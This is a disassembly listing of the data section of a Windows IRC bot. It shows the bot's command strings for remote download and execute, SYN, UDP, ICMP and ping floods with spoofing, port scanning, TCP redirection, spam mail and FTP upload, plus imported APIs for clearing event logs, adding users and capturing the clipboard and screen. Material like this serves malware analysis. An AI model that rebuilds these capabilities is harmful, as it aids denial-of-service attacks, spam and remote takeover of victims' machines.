aDelay		db 'delay',0            ; DATA XREF: sub_401CC1+427Eo
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401CC1+4295o
		align 10h
a332_0		db '332',0              ; DATA XREF: sub_401CC1+61B9o
aSSSS		db '%s %s %s :%s',0     ; DATA XREF: sub_401CC1+61FAo
		align 4
dword_443BA4	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401CC1:loc_407EFBo
aUpdate		db 'update',0           ; DATA XREF: sub_401CC1+42ACo
		align 10h
aU11p		db 'u11p',0             ; DATA XREF: sub_401CC1+42C3o
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401CC1+607Fo
		align 4
dword_443BD4	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401CC1+6122o
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 10h
dword_443C00	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401CC1+6191o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_443C3C	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401CC1:loc_407E5Co
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
aExecute	db 'execute',0          ; DATA XREF: sub_401CC1+42DAo
aE:					; DATA XREF: sub_401CC1+42F1o
		unicode	0, <e>,0
unk_443C90	db  2Dh	; -		; DATA XREF: sub_401CC1+6015o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
dword_443CB4	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401CC1+6020o
		dd 7325203Ah, 0
aRename		db 'rename',0           ; DATA XREF: sub_401CC1+4308o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401CC1+431Fo
		align 4
unk_443CDC	db  2Dh	; -		; DATA XREF: sub_401CC1+5F3Ao
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
dword_443D00	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401CC1:loc_407C10o
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401CC1+4336o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401CC1+434Do
		align 10h
unk_443D20	db  2Dh	; -		; DATA XREF: sub_401CC1+5E98o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
unk_443D4C	db  2Dh	; -		; DATA XREF: sub_401CC1+5F0Eo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_443D84	db  2Dh	; -		; DATA XREF: sub_401CC1:loc_407BD9o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
aClone_0	db 'clone',0            ; DATA XREF: sub_401CC1+4376o
		align 4
aC:					; DATA XREF: sub_401CC1+438Do
		unicode	0, <c>,0
dword_443DC8	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401CC1+5DB2o
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
dword_443DF8	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401CC1+5E21o
aFailedToStartC	db '- Failed to start clone thread, error: <%d>.',0
		align 4
aUsa_syn	db 'usa.syn',0          ; DATA XREF: sub_401CC1+43A4o
aUsa_ack	db 'usa.ack',0          ; DATA XREF: sub_401CC1+43BBo
aUsa_rm		db 'usa.rm',0           ; DATA XREF: sub_401CC1+43D2o
		align 4
unk_443E4C	db  2Dh	; -		; DATA XREF: sub_401CC1+5CC1o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_443E7C	db  2Dh	; -		; DATA XREF: sub_401CC1+5D39o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_13	db 'Failed to start flood thread, error: <%d>.',0
		align 4
aWis_u		db 'wis.u',0            ; DATA XREF: sub_401CC1+43E9o
		align 4
unk_443EBC	db  2Dh	; -		; DATA XREF: sub_401CC1+44C0o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aSfnfff		db 'sfnfff',0           ; DATA XREF: sub_401CC1+44CDo
		align 4
aSy1		db 'sy1',0              ; DATA XREF: sub_401CC1+44E4o
unk_443F08	db  2Dh	; -		; DATA XREF: sub_401CC1+5BC8o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_443F38	db  2Dh	; -		; DATA XREF: sub_401CC1+5C40o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401CC1+44FBo
		align 4
dword_443F78	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401CC1+4575o
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
dword_443FA8	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401CC1+45EDo
aFailedToSta_16	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401CC1+45FAo
		align 10h
aWonk		db 'wonk',0             ; DATA XREF: sub_401CC1+4611o
		align 4
unk_443FF8	db  2Dh	; -		; DATA XREF: sub_401CC1+5AE0o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_444034	db  2Dh	; -		; DATA XREF: sub_401CC1+5B58o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_17	db 'Failed to start flood thread, error: <%d>.',0
		align 4
aDownload1	db 'download1',0        ; DATA XREF: sub_401CC1+4628o
		align 4
aD1		db 'd1',0               ; DATA XREF: sub_401CC1+463Fo
		align 4
unk_44407C	db  2Dh	; -		; DATA XREF: sub_401CC1+5A01o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_4440A8	db  2Dh	; -		; DATA XREF: sub_401CC1+5A70o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401CC1+4656o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401CC1+466Do
		align 4
unk_4440F8	db  2Dh	; -		; DATA XREF: sub_401CC1+58C6o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_444134	db  2Dh	; -		; DATA XREF: sub_401CC1+5935o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401CC1+4684o
		align 10h
aSc		db 'sc',0               ; DATA XREF: sub_401CC1+469Bo
		align 4
unk_444184	db  2Dh	; -		; DATA XREF: sub_401CC1+57CCo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 10h
unk_4441C0	db  2Dh	; -		; DATA XREF: sub_401CC1+583Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_18	db 'Failed to start scan thread, error: <%d>.',0
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401CC1+46B2o
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401CC1+46C9o
		align 4
aSSS		db '[%s] <%s> %s',0     ; DATA XREF: sub_401CC1+5748o
		align 4
aC_action	db 'c_action',0         ; DATA XREF: sub_401CC1+46E0o
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401CC1+46F7o
dword_44422C	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401CC1+55C0o
dword_444238	dd 5D73255Bh, 25202A20h, 73252073h, 0 ;	DATA XREF: sub_401CC1+564Eo
aPortscan	db 'portscan',0         ; DATA XREF: sub_401CC1+471Do
		align 4
aPsc		db 'psc',0              ; DATA XREF: sub_401CC1+4734o
unk_444258	db  2Dh	; -		; DATA XREF: sub_401CC1+54F2o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_4442A8	db  2Dh	; -		; DATA XREF: sub_401CC1+5561o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_19	db 'Failed to start scan thread, error: <%d>.',0
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401CC1+474Bo
aVvv		db 'vvv',0              ; DATA XREF: sub_401CC1+4762o
unk_4442F0	db  2Dh	; -		; DATA XREF: sub_401CC1+4FB8o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScan_0	db 'Already %d scanning threads. Too many specified.',0
		align 10h
unk_444330	db  2Dh	; -		; DATA XREF: sub_401CC1+5219o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_20	db 'Failed to start scan, port is invalid.',0
		align 4
unk_444364	db  2Dh	; -		; DATA XREF: sub_401CC1+5276o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_21	db 'Failed to start scan, no IP specified.',0
		align 4
aRandom_1	db 'Random',0           ; DATA XREF: sub_401CC1+53BAo
		align 10h
aSequential_0	db 'Sequential',0       ; DATA XREF: sub_401CC1+53C1o
		align 4
unk_4443AC	db  2Dh	; -		; DATA XREF: sub_401CC1+53ECo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanSta_0	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_444414	db  2Dh	; -		; DATA XREF: sub_401CC1+545Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_22	db 'Failed to start scan thread, error: <%d>.',0
		align 4
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401CC1+4779o
		align 4
aPu1		db 'pu1',0              ; DATA XREF: sub_401CC1+4790o
aU:					; DATA XREF: sub_401CC1+47A7o
		unicode	0, <u>,0
unk_444460	db  2Dh	; -		; DATA XREF: sub_401CC1+4EEEo
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_4444A8	db  2Dh	; -		; DATA XREF: sub_401CC1+4F59o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_23	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
aNetsend	db 'netsend',0          ; DATA XREF: sub_401CC1+47BEo
aNs		db 'ns',0               ; DATA XREF: sub_401CC1+47D5o
		align 4
unk_4444EC	db  2Dh	; -		; DATA XREF: sub_401CC1+4D46o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
unk_444528	db  2Dh	; -		; DATA XREF: sub_401CC1+4DE8o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 10h
unk_444560	db  2Dh	; -		; DATA XREF: sub_401CC1+4E0Co
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_444594	db  2Dh	; -		; DATA XREF: sub_401CC1+4E40o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401CC1+47ECo
		align 4
aPing_0		db 'ping',0             ; DATA XREF: sub_401CC1+4803o
		align 4
aP:					; DATA XREF: sub_401CC1+481Ao
		unicode	0, <p>,0
unk_4445E0	db  2Dh	; -		; DATA XREF: sub_401CC1+4CA5o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
unk_444628	db  2Dh	; -		; DATA XREF: sub_401CC1+4D14o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_24	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401CC1+4D29o
		align 4
aTfpff		db 'tfpff',0            ; DATA XREF: sub_401CC1+4831o
		align 10h
aUsa		db 'usa',0              ; DATA XREF: sub_401CC1+4848o
aSyn		db 'syn',0              ; DATA XREF: sub_401CC1+4A7Co
aAck		db 'ack',0              ; DATA XREF: sub_401CC1+4A94o
aRandom_0	db 'random',0           ; DATA XREF: sub_401CC1+4AABo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401CC1+4B50o
aNormal		db 'Normal',0           ; DATA XREF: sub_401CC1+4B57o
		align 4
unk_4446A4	db  2Dh	; -		; DATA XREF: sub_401CC1+4B67o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
unk_4446D8	db  2Dh	; -		; DATA XREF: sub_401CC1+4BE1o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_25	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_444710	db  2Dh	; -		; DATA XREF: sub_401CC1:loc_4068BBo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_444748	db  2Dh	; -		; DATA XREF: sub_401CC1+4ABBo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 4
aEmail		db 'email',0            ; DATA XREF: sub_401CC1+485Fo
		align 4
asc_44477C:				; DATA XREF: sub_401CC1+48A9o
		unicode	0, < >,0
a__0:					; DATA XREF: sub_401CC1+48AEo
		unicode	0, <_>,0
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401CC1+494Ao
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
unk_4447D0	db  2Dh	; -		; DATA XREF: sub_401CC1+49BEo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401CC1+4A0Do
aHcon		db 'hcon',0             ; DATA XREF: sub_401CC1+4A20o
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401CC1+4FEEo
		align 4
unk_44480C	db  2Dh	; -		; DATA XREF: sub_401CC1+5011o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401CC1+506Ao
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401CC1+507Bo
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401CC1+509Fo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSS_0		db '-s:%s',0            ; DATA XREF: sub_401CC1+50BFo
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401CC1+50D6o
aOpen_0		db 'open',0             ; DATA XREF: sub_401CC1+50DBo
		align 4
unk_44487C	db  2Dh	; -		; DATA XREF: sub_401CC1+50EDo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s',0
		align 4
unk_4448A4	db  2Dh	; -		; DATA XREF: sub_401CC1:loc_406DB5o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s failed.',0
		align 4
aNotice_3	db 'NOTICE',0           ; DATA XREF: sub_408EB9+Fo
		align 4
aPrivmsg_2	db 'PRIVMSG',0          ; DATA XREF: sub_408EB9+16o
aS_18		db '%s',0               ; DATA XREF: sub_408EB9+3Bo
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_408EB9+58o
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_408F54+Ao
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_408F54+23o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_408F54+2Bo
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_408F54+38o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_408F54+45o
		align 10h
aModule32first	db 'Module32First',0    ; DATA XREF: sub_408F54+52o
		align 10h
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_408F54+5Fo
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_408F54+6Co
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_408F54+79o
		align 4
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_408F54+86o
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_408F54+93o
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_408F54+A0o
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_408F54:loc_40905Co
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_408F54:loc_409089o
		align 10h
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_408F54+14Ao
		align 10h
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_408F54+152o
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_408F54+15Fo
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_408F54+16Co
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_408F54+179o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_408F54+186o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_408F54+193o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_408F54+1A0o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_408F54:loc_409159o
		align 4
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_408F54+216o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_408F54+21Eo
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_408F54+22Bo
		align 4
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_408F54+238o
		align 10h
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_408F54+245o
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_408F54+252o
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_408F54+25Fo
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_408F54+26Co
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_408F54:loc_40920Co
		align 10h
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_408F54+2C0o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_408F54+2CDo
		align 10h
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_408F54:loc_409251o
		align 10h
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_408F54+305o
		align 10h
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_408F54+312o
		align 10h
aControlservice	db 'ControlService',0   ; DATA XREF: sub_408F54+31Fo
		align 10h
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_408F54+32Co
		align 10h
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_408F54+339o
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_408F54+346o
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_408F54+353o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_408F54:loc_4092FFo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_408F54:loc_409327o
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_408F54+3E4o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_408F54+3ECo
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_408F54+3F9o
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_408F54+406o
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_408F54+413o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_408F54+420o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_408F54+42Do
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_408F54+43Ao
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_408F54+447o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_408F54+4BAo
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_408F54+4CBo
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_408F54+4D3o
		align 10h
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_408F54+4E0o
		align 10h
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_408F54+4EDo
		align 10h
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_408F54+4FAo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_408F54+507o
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_408F54+514o
		align 4
aSocket		db 'socket',0           ; DATA XREF: sub_408F54+521o
		align 10h
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_408F54+52Eo
aConnect	db 'connect',0          ; DATA XREF: sub_408F54+53Bo
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_408F54+548o
		align 10h
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_408F54+555o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_408F54+562o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_408F54+56Fo
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_408F54+57Co
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_408F54+589o
		align 4
aSend_0		db 'send',0             ; DATA XREF: sub_408F54+596o
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_408F54+5A3o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_408F54+5B0o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_408F54+5BDo
		align 10h
aBind		db 'bind',0             ; DATA XREF: sub_408F54+5CFo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_408F54+5D7o
		align 10h
aListen		db 'listen',0           ; DATA XREF: sub_408F54+5E4o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_408F54+5F1o
		align 10h
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_408F54+5FEo
		align 4
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_408F54+60Bo
aGethostname	db 'gethostname',0      ; DATA XREF: sub_408F54+618o
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_408F54+625o
		align 4
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_408F54+632o
		align 4
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_408F54+63Fo
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_408F54+64Co
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_408F54:loc_4096D9o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_408F54+796o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_408F54+79Eo
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_408F54+7ABo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_408F54+7B8o
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_408F54+7C5o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_408F54+7D2o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_408F54+7DFo
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_408F54+7ECo
		align 4
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_408F54+7F9o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_408F54+806o
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_408F54+878o
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_408F54:loc_4097F9o
		align 4
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_408F54+8B2o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_408F54+8BAo
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_408F54+8C7o
		align 4
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_408F54:loc_409858o
		align 4
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_408F54+915o
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_408F54+91Do
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_408F54+92Ao
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_408F54+937o
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_408F54+944o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_408F54+951o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_408F54+95Eo
		align 10h
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_408F54+96Bo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_408F54+978o
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_408F54+985o
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_408F54+992o
		align 10h
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_408F54+99Fo
